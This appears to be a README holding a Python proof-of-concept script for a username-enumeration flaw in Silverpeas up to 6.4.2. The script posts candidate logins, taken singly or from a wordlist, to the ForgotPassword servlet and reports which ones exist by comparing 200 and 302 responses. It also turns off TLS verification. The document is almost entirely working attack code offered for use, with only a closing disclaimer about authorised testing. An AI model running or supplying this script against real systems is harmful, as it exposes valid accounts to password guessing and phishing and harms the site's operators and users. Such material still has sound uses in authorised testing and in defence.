README.md
Rendering markdown...
import requests
import argparse
import sys
from urllib.parse import urljoin
__author__ = "Shantanu Saxena (@https://github.com/J0ey17)"
ENDPOINT = "/silverpeas/CredentialsServlet/ForgotPassword"
STATIC_DATA = {
"Password": "",
"DomainId": "0"
}
VALID_STATUS_CODE = 200
INVALID_STATUS_CODE = 302
def check_username(base_url, username, session):
"""
Checks a single username against the target endpoint.
Returns True if potentially valid, False if potentially invalid, None on error.
"""
target_url = urljoin(base_url, ENDPOINT)
post_data = STATIC_DATA.copy()
post_data['Login'] = username
try:
response = session.post(
target_url,
data=post_data,
verify=False, # Set to True or path to cert bundle if target uses valid HTTPS
allow_redirects=False, # VERY IMPORTANT! Prevents following 302 redirects.
timeout=10 # Request timeout in seconds
)
if response.status_code == VALID_STATUS_CODE:
print(f"[+] Username '{username}' appears VALID (Status: {response.status_code})")
return True
elif response.status_code == INVALID_STATUS_CODE:
print(f"[-] Username '{username}' appears INVALID (Status: {response.status_code})")
return False
else:
print(f"[?] Username '{username}' returned unexpected status: {response.status_code}")
return None
except requests.exceptions.Timeout:
print(f"[!] Timeout connecting to {target_url} for username '{username}'")
return None
except requests.exceptions.RequestException as e:
print(f"[!] Error checking username '{username}': {e}")
return None
def main():
parser = argparse.ArgumentParser(
description=f"PoC for Silverpeas Username Enumeration (CVE-XXXX-XXXXX - placeholder). Author: {__author__}"
)
parser.add_argument("target_url", help="Base URL of the Silverpeas instance (e.g., http://target.com)")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-u", "--username", help="Single username to test.")
group.add_argument("-w", "--wordlist", help="Path to a file containing usernames (one per line).")
args = parser.parse_args()
print(f"[*] Target URL: {args.target_url}")
print(f"[*] Target Endpoint: {ENDPOINT}")
print(f"[*] Checking for differing status codes ({VALID_STATUS_CODE} vs {INVALID_STATUS_CODE})...")
print(f"[*] Script Author: {__author__}")
print("-" * 30)
session = requests.Session()
session.headers.update({'User-Agent': f'Silverpeas-Enumeration-PoC ({__author__})'})
usernames_to_test = []
if args.username:
usernames_to_test.append(args.username)
elif args.wordlist:
try:
with open(args.wordlist, 'r') as f:
usernames_to_test = [line.strip() for line in f if line.strip()]
print(f"[*] Loaded {len(usernames_to_test)} usernames from {args.wordlist}")
except FileNotFoundError:
print(f"[!] Error: Wordlist file not found at '{args.wordlist}'")
sys.exit(1)
except Exception as e:
print(f"[!] Error reading wordlist '{args.wordlist}': {e}")
sys.exit(1)
if not usernames_to_test:
print("[!] No usernames specified or loaded.")
sys.exit(1)
valid_found = 0
invalid_found = 0
for username in usernames_to_test:
result = check_username(args.target_url.rstrip('/'), username, session)
if result is True:
valid_found += 1
elif result is False:
invalid_found += 1
print("-" * 30)
print("[*] Scan complete.")
print(f"[*] Potentially VALID usernames found: {valid_found}")
print(f"[*] Potentially INVALID usernames confirmed: {invalid_found}")
if __name__ == "__main__":
# --- WARNING ---
print("="*60)
print("DISCLAIMER: This script is a Proof-of-Concept for demonstrating")
print("a specific username enumeration vulnerability in Silverpeas <= 6.4.2.")
print(f"Author: {__author__}")
print("Use this script responsibly and only against systems you have")
print("explicit authorization to test. Unauthorized use is illegal.")
print("This vulnerability is reportedly fixed in Silverpeas versions >= 6.4.3.")
print("="*60)
# --- END WARNING ---
main()